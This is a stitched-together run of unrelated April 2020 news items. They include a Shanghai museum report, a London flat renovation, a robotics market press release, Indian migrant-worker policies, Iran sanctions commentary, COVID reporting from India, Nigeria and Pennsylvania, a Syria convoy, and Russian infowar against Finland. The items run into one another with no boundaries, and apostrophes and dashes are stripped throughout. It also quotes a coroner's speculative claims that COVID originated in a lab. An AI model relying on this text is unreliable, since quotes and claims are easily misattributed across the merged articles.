email inbox daily. Sign up! * I understand and agree that registration on or use of this site constitutes agreement to its user agreement and privacy policy. Source: Xinhua| 2020-04-29 00:14:12|Editor: huaxia Video Player Close SHANGHAI, April 28 (Xinhua) -- Shanghai has started construction of a literature museum, adding one more project to the city's long list of cultural landmarks. The Shanghai Literature Museum in the Hongkou District is designed to have a floor area of 12,500 square meters above ground. Ma Wenyun, vice chairman of Shanghai Writers Association, applauded the project, saying the Shanghai Literature Museum will "create a space full of literary attraction for people." Shanghai was an important town of Chinese literature in the 20th century and has nurtured internationally renowned writers such as Lu Xun and Ba Jin. Enditem Theres an unmistakable English sensibility when it comes to Cyril Mansions, an 1895 apartment building overlooking Battersea Park in Southwest London. Carrara marble detailing, thick carpeting, and intricate moldings and wallpaper can be found in the lobby, a style that seeps into the surrounding flats. Many people who live here have for long time, says architect Irene Astrain, director of Astrain Studio Architects. While initially built as middle-class residences, tall and fortress-like in appearance, more than a century later Cyril Mansions has become quite a prestigious place to live. Irene first got involved with the renovation of a one-bedroom flat in the mansion block when a friend was looking for an architect to work with his godmother, a businesswoman who comes into London for her job a few days each month. She already had a home an hours drive from the city but desired a chic, highly organized holiday flat with plenty of natural light. However, the unit she purchased needed a major revival. First up was swapping the location of the bathroom with the dining room. When you walked in, the bathroom was the first thing you saw, while the dining space occupied the darkest bit of the plan, Irene says. The architect removed the homes walls, except the weight-bearing ones in the living room, to reposition them for optimal storage while still maintaining the charming fabric of the original design. We wanted to make it as efficient as possible and use every bit of space available, she says. While modern layouts tend to be more open with one large great room or connected public spaces, 19th-century Londoners preferred a series of rooms, something that the homeowner grew to adore. Irene also renovated the bathroom and modernized the kitchen with plywood, quartz countertops, IKEA cabinetry, and brass-clad doors. The homeowner really liked the idea of using IKEA because you can still have a custom look, she says. Plus, IKEA is practical, and we saved a significant amount of money. Story continues But when it came to the palette, this is where the biggest modern influence is seen. They decided on airy pastels like mint green and yellow, introducing color into the flat through furnishings and art, Irene says. Theres also some purposeful pattern play going on with the navy living room rug and the handmade quilt in the master bedrooma tie to the homeowners Scottish heritageand the funky green geometric tile in the bathroom, which the homeowner lovingly calls the Irene Bathroom, as she feels she never wouldve come up with idea on her own. And like with every renovation, the magic lies in the details. Wallpaper printed from an 1862 map of London makes for quite the unexpected backdrop in the dining room. Theres the salmon painting in the kitchen, which is a real-life depiction of a salmon the homeowners father caught in 1955 on the River Tweed. The art is from everywhere and each piece is meaningful to her, Irene says. But one of the homes best features is its original fireplace with tiled inlay. Though the mantel had been replaced with a tacky timber facade, Irene was able to restore it with a Carrara marble front, one that is much more in line with the Victorian era. From the poppy pastels to the peaceful master, the historic flat is filled with moments of joy, says Irene. Originally Appeared on Architectural Digest DUBLIN, April 28, 2020 /PRNewswire/ -- The "COVID-19 Impact on the Industrial Robotics Market by Type (Articulated, SCARA, Parallel, Cartesian Robots), Industry (Automotive; Electrical and Electronics; Food & Beverages; Pharmaceuticals and Cosmetics), and Region - Global Forecast to 2025" report has been added to ResearchAndMarkets.com's offering. Post-COVID-19, the global traditional industrial robotics market size (including the prices of peripherals, software, and system engineering) is expected to grow from USD 44.6 billion in 2020 and is projected to reach USD 73 billion by 2025; it is expected to grow at a CAGR of 10.4% during the forecast period. The projection for 2025 is estimated to be down by ~3% as compared to pre-COVID-19 estimation. A shortage of skilled labor, especially in developed countries, is driving the further use of automation, in the industrial robotics market. Manufacturers are turning to automation to decrease manufacturing costs and to keep their cost advantage in the market. Automation in the electronics industry presents an excellent growth opportunity for traditional industrial robots in the coming years, especially in the APAC region where manufacturers are looking to automate their production processes further. Post-COVID-19, manufacturers are expected to increase in-house manufacturing through automation rather than outsource manufacture to other countries to mitigate global supply chain risks in the future. SCARA robots market to grow at the highest CAGR during the forecast period The market for SCARA robots is projected to grow at the highest CAGR during the forecast period. SCARA robots are expected to play a vital role specifically in industries such as food & beverages and electronics & electrical by preventing contamination of food products and preventing damage of delicate semiconductor wafers due to human contact, especially for companies looking to minimize their losses during COVID-19. The market for metals & machinery industry to grow at a significant CAGR from 2020 to 2025 Like other industries, the metals & machinery industry has also been hampered by the COVID-19 pandemic. The lack of demand for metals and machines from the construction, automotive, shipbuilding, and many more industries have severely affected the metals & machinery sector. Additionally, metals and machinery companies are planning to operate by utilizing only 50% of their workforce. However, the metals and machinery industry make up the building blocks for other large industries. Companies in the metals and machinery industry make for a large number of essential suppliers. To minimize disruption in production, the traditional industrial robotics market for this industry is expected to grow at the fastest rate post-COVID-19. APAC to dominate the global traditional industrial robotics market throughout the forecast period 2018 saw a decrease in sales of industrial robots due to countries like China seeing a fall in demand in the automotive sector and the adverse effects of the US-China trade war. Subsequently, the COVID-19 pandemic starting in late 2019 and extending till mostly Q2 or Q3 of 2020 is now adversely affecting the market growth for traditional industrial robots. However, the market in APAC is still expected to grow at the highest CAGR during 2020-2025. Although major countries contributing to the APAC market, such as China, experienced a greater slowdown in growth, their market share remains significant. On the other hand, 2018 has witnessed the penetration and sales of industrial robots in developing APAC countries such as India and Taiwan. The electrical and electronics industry is an important driver for industrial robots in APAC, owing to the rising demand for electronic products around the world. Components like computer chips, batteries, and displays that are small and sensitive need to be handled with high speed and high precision. APAC also houses a major number of strong global players in the industrial robotics market. Apart from APAC, the growth of industrial robots in Europe has remained steady over the years. In Europe, industrial robots are not only relevant for large enterprises, but smaller enterprises as well. Germany remains the largest market in Europe for industrial robots. Government initiatives like Industrie 4.0 and the penetration of IoT and AI are expected to boost robot sales in the coming years post-COVID-19. However, the COVID-19 pandemic will negatively affect growth even in developing APAC countries as well as European manufacturers until Q2 or Q3 of 2020. Key Benefits of Buying the Report The report helps stakeholders understand the pulse of the industrial robotics market and provides them with information on key drivers, restraints, challenges, and opportunities specific to the COVID-19 pandemic. This report would help stakeholders understand their competitors better and gain more insights to improve their position in the business even during the COVID-19 pandemic. The report identifies new revenue sources for players in the industrial robotics ecosystem, post-COVID-19 subsides. Key Topics Covered 1 Introduction 1.1 COVID-19 Health Assessment 1.2 COVID-19 Economic Assessment 1.2.1 COVID-19 Impact on Economy - Scenario Assessment 2 Research Methodology 2.1 Research Assumptions 2.2 Primary Data 2.2.1 Breakdown of Primaries 2.3 Inclusions and Exclusions 2.4 Approach to Estimate Post-COVID-19 Decline in 2020 2.5 Stakeholders 3 Executive Summary 4 Impact on Ecosystem and Extended Ecosystem (Adjacent Markets) 4.1 Introduction 4.1.1 Component Suppliers 4.1.2 Original Equipment Manufacturers 4.1.3 System Integrators 4.1.4 Software Providers 4.1.5 Accessory Providers 4.1.6 End Users 4.2 COVID-19-Driven Market Dynamics and Factor Analysis 4.2.1 Drivers 4.2.1.1 Solicitation of Proposals by Governments and Public-Private Companies to Mitigate Adverse Impact of COVID-19 4.2.1.2 Anticipated Shortage of Skilled Workforce in Manufacturing Industries Due to Ban on Migration 4.2.2 Restraints 4.2.2.1 High Installation Cost of Industrial Robots, Especially for Small and Medium-Sized Enterprises 4.2.3 Opportunities 4.2.3.1 Accelerating Spread of COVID-19 Pandemic Prompting Several Industries to Adopt Automation Technologies 4.2.4 Challenges 4.2.4.1 Difficulties Faced by Start-Up Companies to Demonstrate Their Products Virtually 5 Business Implications of COVID-19 on Industrial Robotics Market 5.1 Implications Based on Various Types of Robots (Pessimistic (Post-COVID-19) and Realistic (Post-COVID-19)) 5.1.1 Articulated Robots Market Forecast (2020-2025) 5.1.2 Scara Robots Market Forecast (2020-2025) 5.1.3 Parallel/Delta Robots Market Forecast (2020-2025) 5.1.4 Cartesian/Gantry/Linear Robots Market Forecast (2020-2025) 5.1.5 Other Robots (Cylindrical, Spherical, Swing Arm) Market Forecast (2020-2025) 6 Use Cases Showing Impact of COVID-19 on Major Verticals and Steps Taken by Clients to Respond to Current Scenario 6.1 Shift in Clients' Revenues 6.2 Automotive 6.2.1 Forecast from 2020 to 2025 6.2.1.1 Pessimistic Scenario 6.2.1.2 Realistic Scenario 6.2.2 Key Use Cases 6.3 Electrical and Electronics 6.4 Chemicals, Rubber, and Plastics 6.5 Metals and Machinery 6.6 Food & Beverages 6.7 Precision Engineering and Optics 6.8 Pharmaceuticals and Cosmetics 7 Impact of COVID-19 on Geographic Regions 7.1 Geographic Analysis 7.1.1 Forecast from 2020 to 2025 7.2 North America 7.2.1 Forecast from 2020 to 2025 7.2.2.1 US 7.2.2.1.1 US to Dominate Traditional Industrial Robots Market in North America in 2020 7.2.2.2 Canada 7.2.2.2.1 Government Initiatives to Fuel Growth of Canadian Traditional Industrial Robots Market 7.2.2.3 Mexico 7.2.2.3.1 Growth of Mexican Market to Slow Down Owing to COVID-19 7.3 Europe 7.4 APAC 7.5 RoW 8 COVID-19 Focused Profiles of Key Vendors 8.1 Industrial Robotics Ecosystem 8.1.1 ABB 8.1.1.1 Company Overview 8.1.1.2 COVID-19 Impact on Industrial Robotics Market Company-Specific Developments 8.1.2 Yaskawa 8.1.3 Fanuc 8.1.4 Kuka 8.1.5 Kawasaki Heavy Industries 8.1.6 Mitsubishi Electric 8.1.7 Denso Corporation 8.1.8 Nachi-Fujikoshi 8.1.9 Seiko Epson 8.1.10 Durr 8.1.11 Omron Adept 8.1.12 B+M Surface Systems 8.2 Collaborative Robot Ecosystem 8.2.1 Universal Robots 8.2.2 Techman Robot 8.2.3 Doosan Robotics 8.2.4 Aubo Robotics 8.2.5 Precise Automation 8.2.6 Rethink Robotics 8.2.7 Comau 8.2.8 F&P Robotics 8.2.9 Mabi Robotic 8.2.10 Franka Emika 8.2.11 Stubli 8.2.12 Bosch Group 8.3 Robot End-Effector Ecosystem 8.3.1 Schunk 8.3.2 Robotiq 8.3.3 Zimmer Group 8.3.4 Schmalz 8.3.5 Destaco 8.3.6 Tnkers 8.3.7 Festo 8.3.8 Ati Industrial Automation 8.3.9 Piab Ab 8.3.10 Soft Robotics 8.3.11 Bastian Solutions 8.3.12 EMI 8.3.13 IAI 8.4 Service Robotics Ecosystem 8.4.1 Irobot 8.4.2 Delaval 8.4.3 Daifuku 8.4.4 DJI 8.4.5 Kongsberg Maritime 8.4.6 Softbank Robotics Group 8.4.7 Northrop Grumman 8.4.8 Neato Robotics 8.4.9 Eca Group 8.4.10 Lely 8.4.11 Starship Technologies 8.4.12 General Electric 8.4.13 Parrot Drones SAS 8.5 Medical Robots Ecosystem 8.5.1 Intuitive Surgical 8.5.2 Mazor Robotics 8.5.3 Stryker 8.5.4 Accuray 8.5.5 Omnicell 8.5.6 Hocoma 8.5.7 Hansen Medical (A Wholly Owned Subsidiary of Auris Surgical Robotics) 8.5.8 Arxium 8.5.9 Ekso Bionics 8.5.10 Kirby Lester 8.5.11 Cyberdyne For more information about this report visit https://www.researchandmarkets.com/r/1ldcnl Research and Markets also offers Custom Research services providing focused, comprehensive and tailored research. Media Contact: Research and Markets Laura Wood, Senior Manager [email protected] For E.S.T Office Hours Call +1-917-300-0470 For U.S./CAN Toll Free Call +1-800-526-8630 For GMT Office Hours Call +353-1-416-8900 U.S. Fax: 646-607-1907 Fax (outside U.S.): +353-1-481-1716 SOURCE Research and Markets Related Links http://www.researchandmarkets.com Days after Uttar Pradesh and Madhya Pradesh started taking back stranded workers, the Rajasthan government issued guidelines to bring back stranded workers from other states and Odisha announced that it will have similar guidelines in place by the end of April. Bihar on Monday urged the Centre to relax guidelines on isolation and quarantine for allowing the return of migrant workers to the state. Close to a million workers from Bihar, stranded in different states, want to return, said government officials manning the states helpline for migrant workers. Bihar chief minister, Nitish Kumar, supported the proposal of Odisha chief minister, Naveen Patnaik, that there should be national guidelines on interstate transport of migrant workers to prevent confusion at a meeting of all chief ministers with Prime Minister Modi. Hours after the meeting with the Prime Minister, Odisha health minister Naba Das said the state will come out with guidelines to bring back stranded workers by the end of April. He also said that 5.5 lakh people have registered with the portal launched to track migrant workers from the state. Odisha governments chief spokerperson on Covid-19, Subroto Bagchi, said the state was anticipating a huge rush of workers if the lockdown norms are eased on May 3. Das said that the CM had held discussions with the Gujarat and the Maharashtra governments regarding steps required to facilitate the safe return of Odia workers stranded in these two western states. The Rajasthan government appointed 19 Indian Administrative Service (IAS) and Indian Police Service (IPS) officers to coordinate with 14 state governments and respective district authorities to bring back stranded migrant workers from the state. Guidelines have also been issued for the desert states border districts from where the inbound migrant workers are likely to enter, which include mandatory testing and quarantine at transit camps for the returning workers. The home department has asked district collectors to keep a strict vigil on the movement of the inbound migrant labourers and ensure all their personal details, such as names, addresses, and mobile numbers, are recorded for contact tracing should any of them test positive for Covid-19. State chief secretary, DB Gupta, said these officers would also ensure implementation of guidelines and safety protocols. After much effort by the state government, the migrant workers from Rajasthan will soon be returning home from other states. These people suffered a lot during the ongoing nationwide lockdown. Now when they return, it is our moral duty to take care of them, provide them with all the help regarding food, medicines and quarantine facilities, Rajasthan CM, Ashok Gehlot, tweeted on Monday. [April 28, 2020] Five Keys Schools and Programs and Insight Prison Project Announce Partnership to Expand Trauma-Informed Programs for the Incarcerated Five Keys Schools and Programs, which has spent nearly 18 years pioneering ways to change lives through trauma-informed education and programs in correctional facilities across California, has announced a partnership with the Insight Prison Project to leverage both organization's experience to enhance ways to increase outcomes for returning citizens. "Now more than ever we need to form partnerships to pool resources in this pandemic," said Steve Good, executive director for Five Keys Schools and Programs based in San Francisco. "We are excited to merge with the Insight Prison Project to expand our reach and resources that help transform the lives of the incarcerated and prepare them for successful reentry. Both of our organizations have great experience providing education and programs that build trust, acknowledge personal accountability and each person's dignity and empower individuals to take advantage of opportunities that can change the trajectory of their lives - and help them to engage differently with their worlds." Through the partnership, the Insight Prison Project will run under the umbrella of Five Keys Schools and Programs, which was founded by The San Francisco Sheriff's Department in 2003 as the first charter school for incarcerated adults in the country. Its pioneering programs serve more than 4,000 people a day and have awarded more than 2,800 high school diplomas or GED equivalents. It is touted for shutting the revolving door of inmates going in and out of jail. Insiht Prison Project, based in San Rafael, offers an innovative restorative justice program, the Victim Offender Education Group, which focuses on transformational re-education. It serves 300 incarcerated persons in California, Oregon, Colorado, and Washington. It will continue to operate and grow its transformational programs for prisoners and parolees, which are supported by crime victims and community volunteers. "This is a perfect fit for both organizations who work to prepare people to come home and contribute to society by leading productive and restorative lives that cause no harm to others or themselves," said Leonard Rubio, executive director of the Insight Prison Project. About Five Keys Schools and Programs Dedicated to getting people's lives back on track, Five Keys Schools and Programs and its more than 550 dedicated employees serve more than 25,000 individuals each year throughout the San Francisco Bay area, Los Angeles and nine counties through the state of California. Five Keys was founded in 2003 by the San Francisco Sheriff's Department as the first accredited charter high school in the nation to provide diploma programs for adults in county jails. Today its efforts have grown exponentially. The organization interrupts the cycles of homelessness, substance abuse, violence, literacy and incarceration through our 80 community learning centers, transitional housing shelters, career centers, and community-based workforce networks by investing in their humanity so that they can be self-determined to change their lives. Five Keys also hires people directly into our transitional employment positions for formerly incarcerated individuals and people currently or formerly experiencing homelessness. Five Keys has been the recipient of many awards including Harvard University's Innovations in Government Award, and California Charter School of the Year. About Insight Prison Project Since 1997, the Insight Prison Project has been dedicated to reducing recidivism rates and improving public safety by conducting highly effective in-prison rehabilitation programs that provide returning citizens with the tools and life skills necessary to create durable change through trauma-informed transformational programs. www.InsightPrisonProject.org. View source version on businesswire.com: https://www.businesswire.com/news/home/20200428006070/en/ [ Back To TMCnet.com's Homepage ] While everyone is riveted to the deadly grind of COVID-19, the Trump administration is stepping up its efforts to crush the Islamic Republic of Iran through one of the most squirrely legal arguments that a nation-state has ever devised. The move is also a political shot in the foot, because it amounts to an unwitting admission that President Donald Trump was wrong to pull out of the Iran nuclear deal. Signed in 2015 by then-President Barack Obama and the leaders of five other nations, the dealwhich was codified as a U.N. Security Council resolutionrequired Iran to dismantle nearly all of its nuclear program; in exchange, the signatories and the U.N. would lift most of their sanctions against Iran, as well as normalize business relations with the country. Advertisement Advertisement Advertisement Advertisement Trump withdrew from the deal in 2018, not because Iran was cheatingin fact, international inspectors affirmed in their regular reports that Iran was abiding by the deals termsbut rather because Trump simply didnt like it: didnt like anything to do with Iran, didnt like anything accomplished by Obama. Pompeos argument is bogus on several counts. With the withdrawal, Trump reimposed sanctions against Iran, then threatened to impose new sanctions on countries that did business with Iranand those countries, which were dependent on transactions with the U.S.-controlled financial system, reluctantly obeyed. This was part of Trumps maximum pressure policy, which he was sure would cause the mullahs of Tehran to cave ineither to negotiate a deal more to his liking or (the real aim) to implode as a regime. However, the mullahs are still here. In fact, the failure of the nuclear deal has strengthened the hands of the regimes most hard-line factions. Advertisement Advertisement So Secretary of State Mike Pompeo has stepped up the pressure, and in a way that has made observers around the world drop their jaws or scratch their heads. According to the New York Times, Pompeo is making a legal argument that the United States is still a participant in the Iran nuclear deal. As such, he is saying, Trump will soon invoke a clause in the deal, known as the snapback clause, which requires the U.N. Security Council to reimpose economic sanctions if Iran is found to be cheating. Since, by its own admission, Iran has violated some aspects of the deal in recent months, the sanctions will automatically be reimposed once Trump raises the transgressions. Advertisement Pompeos argument is bogus on several counts. First, given Trumps formal withdrawal from the Iran nuclear deal, it is preposterous to claim that the United States is still a participant. Or, if Trump wants to claim he is a participant, he first has to lift the sanctions he reimposed two years ago. He cant embrace one part of an accord while rejecting all the other parts. Advertisement Advertisement Advertisement Second, since last summer, Iran has amassed a somewhat larger nuclear stockpile and enriched more uranium than the deal allows, but it did so in response to Trumps withdrawal from the deal and his success at pressuring other signatories to restore sanctions. Ironically, Irans move was fully consistent with the terms of the nuclear dealspecifically with Paragraph 36, which states that if one signatory believes that the others were not meeting their commitments, then, after certain meetings and consultations, it would have grounds to cease performing its commitments. (Iranian diplomats tried to dissuade the European signatories from restoring sanctions for a full year before expanding its nuclear program.) In other words, technically, Iran is still acting under the terms of the deal. Its diplomats say that, if the U.S. and the other nations lifted the sanctions once again, Iran would scale back its stockpile and enrichment. Advertisement Advertisement Advertisement Advertisement Third, Trump was in violation of the deal even before he withdrew from it. Back in July 2017, at his first G-20 summit, he pressured allied leaders to stop doing business with Iran. This pressure contravened Paragraph 29 of the accord, which states that the U.S. and the other signatories will refrain from any policy specifically intended to directly and adversely affect the normalization of trade and economic relations with Iran inconsistent with the commitments not to undermine the successful implementation of the deal. Still, none of this means Pompeo will let the matter drop or that other nations wont let him get away with such a duplicitous move. If the United States declares itself a participant in the Iran nuclear deal and invokes the snapback clauseand if the country chairing the Security Council at the time bangs the gavel in assentthen, under the terms of that clause, the deed will be done; there will be no vote, much less an opening for a veto. Advertisement Advertisement This would create something like a constitutional crisis at the Security Council, says Trita Parsi, executive vice president of the Quincy Institute and author of Losing an Enemy: Obama, Iran, and the Triumph of Diplomacy. Parsi also predicts that, if this happens, not only will the Iranians give up hoping for a return to the nuclear deal, they will probably also withdraw from the Nuclear Non-Proliferation Treaty. This is what Trump and Pompeo want, Parsi told me in a phone conversation. They want a legal foundation for regime change or war. Advertisement Meanwhile, owing to administrative incompetence, political repression, and a woeful lack of resources, nearly 100,000 cases of the coronavirusresulting in more than 5,800 deathshave been reported in Iran. Stiffened sanctions will only worsen the countrys plight, which Pompeo no doubt regards as an enhanced measure in his maximum pressure campaign. That will push the regime over the edge, he may be thinking. Maybe so; probably not. Either way, it will kill a lot more Iranians, and Trump and Pompeo dont seem to care. If there is regime change, that pretty much ensures the new regime wont be any less suspicious toward America than the current one. It will possibly be more hostile still. For more of Slates news coverage, check out one of our daily news podcasts. A day after a Supreme Court staffer tested positive for COVID-19, as many as 36 Delhi police personnel engaged in the security of the top court have been sent on home quarantine as a precautionary measure on Tuesday, sources said. Besides, a massive disinfection drive as per mandated protocol to deal with the pandemic was conducted in the offices and corridors of the apex court visited by the infected person on April 16, they said. Delhi police has taken the decision to quarantine it's personnel as precautionary measure keeping in mind the fact that the infected person must have gone inside the apex court premises after crossing through security check points, they said. The apex court, which has restricted its functioning since March 23 and is hearing matters involving extreme urgency through video conferencing, on Monday got the first case of novel Coronavires and immediately, as per the protocol the areas visited by the infected person was sealed and then sanitised as the standard operating procedure (SOP). "The corridors, offices and areas visited by the staffer in question were sealed and then sanitised," one of the sources said, adding that the person concerned had only come in contact with another apex court staffer. The infected person is responding to the treatment given in a government hospital here, he said. The sources at the apex court said the decision of Delhi police to quarantine it's personnel was not related to the activities of the Supreme Court administration and was an independent one. Moreover, the apex court has come out with the list of cases to be heard by it on Wednesday through video conferencing and so far, no other persons have reported sick, they said. The apex court has been asking minimum number of its staff to report to duty and moreover, the infected staff had dealt with only one file, they said. The infected person had suffered fever for two days after coming for work on April 16 and tested positive for COVID-19 on Monday. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) In a new development, Germany has announced another financial intervention to assist Nigeria in its response to the coronavirus pandemic. The German mission in Nigeria announced that it is providing 5.5 million this time to support vulnerable people in Nigerias North-Eastern states of Borno, Adamawa and Yobe. Also Read: Coronavirus: Germany Pledges 5.5M To Nigeria Humanitarian Fund Recall that some weeks ago, the European country donated the same amount to Nigeria to aid the fight against COVID-19. This was made know via the Missions official Twitter handle on Tuesday. The mission stated that the donation would be used for drilling of wells, construction of sanitation facilities, rehabilitation of buildings or construction of shelters for internally displaced persons and other victims of insecurity in the North East. Two central Pennsylvania coroners sat down with PennLive Opinion Editor Joyce Davis today to talk about COVID-19. Dauphin Countys Graham Hetrick and York Countys Pamela Gay shared their thoughts on how coronavirus is reported, theories on how the virus started and an unsuspecting repercussion theyve noticed. This is not like anything we have ever had," Gay said. This is much worse than the flu. Are COVID numbers inaccurate? The coroners said they dont think Pennsylvanias COVID numbers are inflated, mainly because at-home deaths and pre-existing conditions arent always factored into reports. I think if anything, my gut is we probably have undercounted, because there are a lot of people dying we cant test, or we dont have enough tests to some extent, Gay said. As of April 27, the Pennsylvania Department of Health reported more than 42,000 cases and 1,600 deaths in the state. READ MORE: Hetrick said theres a need for presumptive testing for coroners and medical examiners. Some help has arrived in the way of a limited number of Abbott tests, which offer results in 10 to 15 minutes. My people are right on that front line. When we walk in there, even if its someone with a gunshot wound, they could have COVID, he said. Sometimes, Gay said they have cases where they cant test or the person slipped through the cracks because they had a normal burial. Pam Gay has been coroner in York County since 2013. "I have no idea whether or not for sure that person, if they have a certain type of pneumonia, they may have been a COVID case, she said. Hetrick noted part of the issue at this point is its more profitable for hospitals to label a death COVID, rather than pre-existing health issues such as heart disease or diabetes. Issues with health department Several coroners in Pennsylvania have raised concerns about the health departments reporting of coronavirus cases and deaths. Coroners have said the law requires deaths from infectious diseases to be reported to them, something they claim the state is not always doing. In addition, they said confusion exists over the use of electronic death certificates, specifically the new idea of training doctors and others at hospitals to do them during a pandemic. Both coroners agree discrepancies with the department of healths numbers have been problematic. Last week, the state revised the death toll, saying it removed nearly 200 probable deaths. Gay said hopefully there will be a reevaluation of how the numbers are tallied. The only problem I have right now is more so the clarity, she said. She said one day last week the state reported 13 COVID deaths in York County, only to turn around the next day and drop the number to six or seven. While Gay said she understands some of what the department is doing, she would like a better explanation of the presumptive cases versus test results, and whether residents have died in other counties. I would like that clarity, so I understand the discrepancy, and so I can communicate that to my community," Gay added. Opioid cases on the rise One of the repercussions of the pandemic, they noted is a rise in opioid deaths. Gay estimates triple the number of opioid-related deaths over January and views it as indirectly related to the virus. She noted treatment centers are reporting empty beds. Depression, social isolation. People in recovery thrive on their 12-step meetings, their accountability with their sponsor. They dont have that physical interaction right now. It was also pointed out to me by the recovery community that they cant be evicted, Gay said. Needless to say, the things that ordinarily would get them to their rock bottom where they would seek help, they arent seeking help," she added. Theories on virus origin Plenty of theories are bubbling up about how COVID started. Hetrick isnt ruling out one of them. I think it came out of the Wuhan lab, which is a level three lab with serious problems, he said. The idea COVID is a gain-of-function virus altered to see what happens when it enters the human body, and specifically the lungs, should be researched, Hetrick said. He said some believe a particular program linked to Fort Derick, Maryland was supposed to be shutdown but somehow got refunded by the United States and China. Supposedly, a doctor visited a virology lab in the Wuhan area, and wrote the virus must have come from bats, Hetrick said. The only problem with that is there are no bats in the Wuhan market," he added. The bats are like 600 miles away from where that virology lab is. They did have collective samples of bat viruses in that lab, and so did they in Fort Detrick, Maryland and North Carolina. Thanks for visiting PennLive. Quality local journalism has never been more important. We need your support. Not a subscriber yet? Please consider supporting our work. The International Coalition has sent a number of trucks carrying military and logistical equipment to its base in the Conoco gas field, from their base in Hassakeh reports Smart News. The International Coalition against the Islamic State (ISIS) sent fresh reinforcements to its military base in the Conoco gas field of the Khasham area, 14 kilometers northeast of Deir ez-Zor. On Monday, the media worker of the Syrian Democratic Forces (SDF), Khaled al-Halshoum, reported to Smart News that 10 vehicles, including six trucks, entered the Conoco gas field accompanied by SDF members. Halshoum added that the vehicles came from the Tel Beydar base in Hassakeh. The United States-led International Coalition sent several convoys, including dozens of trucks loaded with military equipment and logistical materials, to its military bases in northeastern Syria. On Sept. 10, 2019, the International Coalition sent a convoy of about a hundred trucks to its bases in Hassakeh and Raqqa. On Jul. 16, 2019, the US announced that it will keep its armed forces in northern and northeastern Syria, to continue its military campaign against the ISIS, after it issued a decision last year to withdraw its forces from there. This article was edited by The Syrian Observer. The Syrian Observer has not verified the content of this story. Responsibility for the information and views set out in this article lies entirely with the author. Prime Minister Narendra Modi on Monday hailed the Delhi Police for its gesture towards the Sikh community as they paid obeisance at the Gurudwara Bangla Sahib as a mark of respect for the gurudwara providing meals to the needy during the nationwide lockdown. "Good gesture by the Delhi Police. Our Gurudwaras have been doing exceptional work in serving people. Their compassion is appreciable," Modi said in a tweet. The Prime Minister was replying to the tweet of Delhi Sikh Gurudwara Management Committee (DSGMC) President Manjinder Singh Sirasa's tweet in which he said: "Amazing View: Delhi Police took the parikrama' of the Gurudwara Bangla Sahib to thank for the services being provided by the Sikh community as Corona Warriors. They have set a new trend of paying respect." Good gesture by the @DelhiPolice.Our Gurudwaras have been doing exceptional work in serving people. Their compassion is appreciable. https://t.co/hdTn6vDFtj Narendra Modi (@narendramodi) April 27, 2020 The Delhi Police team led by Central DCP Eish Singhal undertook parikrama' of Gurdwara Bangla Sahib to express gratitude to DSGMC for their commitment and support to Delhi Police in fighting Covid-19. The Gurudwara Bangla Sahib has been providing cooked meals for over 40,000 people on a daily basis to the city government since the nationwide lockdown was announced. Following the Prime Minister's tweet, Delhi Police Commissioner S. N. Shrivatsava also tweeted, "My sincere thanks and regards to the Prime Minister for appreciating and encouraging Delhi Police for paying gratitude to Gurudwara Bangla Sahib. Gurudwara Management Committee has provided food to more 75,000 needy people daily all through the lockdown period." The infowar operation's next stage could unfold directly in the Finnish territory. Russia's efforts to reanimate the historical discourse about the alleged genocide of the Russian population in Karelia by Finland during the Russian-Finnish war is an infowar operation aimed at shifting the focus from Soviet aggression against Finland at the beginning of World War 2 and supporting the myth about "allied relations" between Finland and the Nazis. The current operation's next stage could unfold directly in the Finnish territory, Ukrainian experts in hybrid warfare told Guildhall. Earlier, Russia's Investigative Committee launched an investigation into the allegations of Finland's war crimes committed in the territory of Soviet Karelia in 1941-1944, during the Soviet-Finnish war. Read alsoThink tank: La Stampa's findings on intel-gathering nature of Russian "aid" mission in Italy confirmed Oleksandr Danyliuk, who leads the Center for Defense Reforms, believes that the recent opening of a criminal investigation into the alleged genocide in Karelia is part of Russia's special operation, which is about to continue from the Finnish territory, to shift the focus from Soviet aggression against Finland at the onset of WW2. "Russia continues to aggressively defend Soviet myths about the Second World War, as they are the main and perhaps the only instrument for maintaining Russian national identity. The initiation of a criminal case on the fact of the Russian genocide, which was allegedly carried out by the Finns during the World War 2, is one example of such policies. The main task of this special case is to shift the focus from Soviet aggression against Finland at the beginning of the war and support the myth of supposedly allied relations between Finland and the Nazis. As is well known, Finland simply regained its territorial integrity and never carried out military operations on Soviet territory. At the same time, since Soviet times, Russia has had in its arsenal some powerful leverage tools in Finland itself. Therefore, such a move to dehumanize Finns in the eyes of their own descendants may be followed by other anti-Finnish infowar operations already unfolding within the country. Also, one of the reasons for Russia's latest efforts on the Finnish hybrid front is Finland's participation in joint projects with the Baltic States to strengthen energy independence from Russia, in particular through the BalticConnector gas pipeline, said Oleksandr Danyliuk. According to the Ilta-Sanomat newspaper, Russia last fall published declassified documents on concentration camps. Then Director of the National Archives of Finland Jussi Nuorteva said in an interview that Finland carried out ethnic segregation in East Karelia, although the actions of the Finnish military could not be branded "genocide". Political scientist Oleg Saakian says Russia is exploiting this historical discourse to legitimize its own aggression in eastern Ukraine and strengthen public perception of the country being a "besieged fortress". "Russia has only two modes of existence they either attack someone or they lose something, in their understanding," Saakian says. "In this situation, we see that Russians are trying to get ahead of the situation and create a framework for a certain perception of Finland in the eyes of their own population, branding them 'fascists'." "The logic is very simple they find some weak link in history and then interpret the wider context through a narrow one. This time they chose the topic with the so-called concentration camps, incidentally forgetting that concentration camps in the form in which they were used in Nazi Germany had in fact been created in the Soviet Union. But of course, propaganda will never tell people about this. It will be just be telling them that the Finns allegedly set up concentration camps, and any regular Russian is sure that concentration camps were created exclusively by fascists. But if the Finns are fascists, then of course they were engaged in ethnic cleansing, which means that the Finno-Karelian quasi-republic invented by the Soviet authorities was exposed precisely to 'ethnic attacks' on the part of Finland," the political scientist says. Read alsoRussia's "fake cures" putting EU lives at risk EUObserver Despite the fact that the territory occupied by the Soviet Union was populated by Finns, propaganda aims to lead people away from focusing on the Russian-Finnish war unleashed by the Soviet Union toward the idea that the Soviets supposedly "defended the civilian population" of the USSR in the self-proclaimed Finno-Karelian Republic from "Finnish persecutors" who built concentration camps and killed people "on ethnic grounds," Saakian added. The same technique is being applied today, in eastern Ukraine's Donbas, said the political scientist: "Today, this story can be revived and used as an example to legitimize Russia's ongoing actions in the occupied East of Ukraine and to stir up the same fears, now with new arguments coming from Northern Europe, as if to say that today Russia is protecting the people of Donbas not to let history repeat itself." It could also be the other way around, the expert adds. Russia could be using its traditional narrative of "protection of civilians" to distract own population's attention from the pressing economic problems amid the pandemic and plunging oil prices, to further cement in their citizens a feeling of living in a "besieged fortress" and win back public confidence, which is fading off steadily. A leading provider of reverse 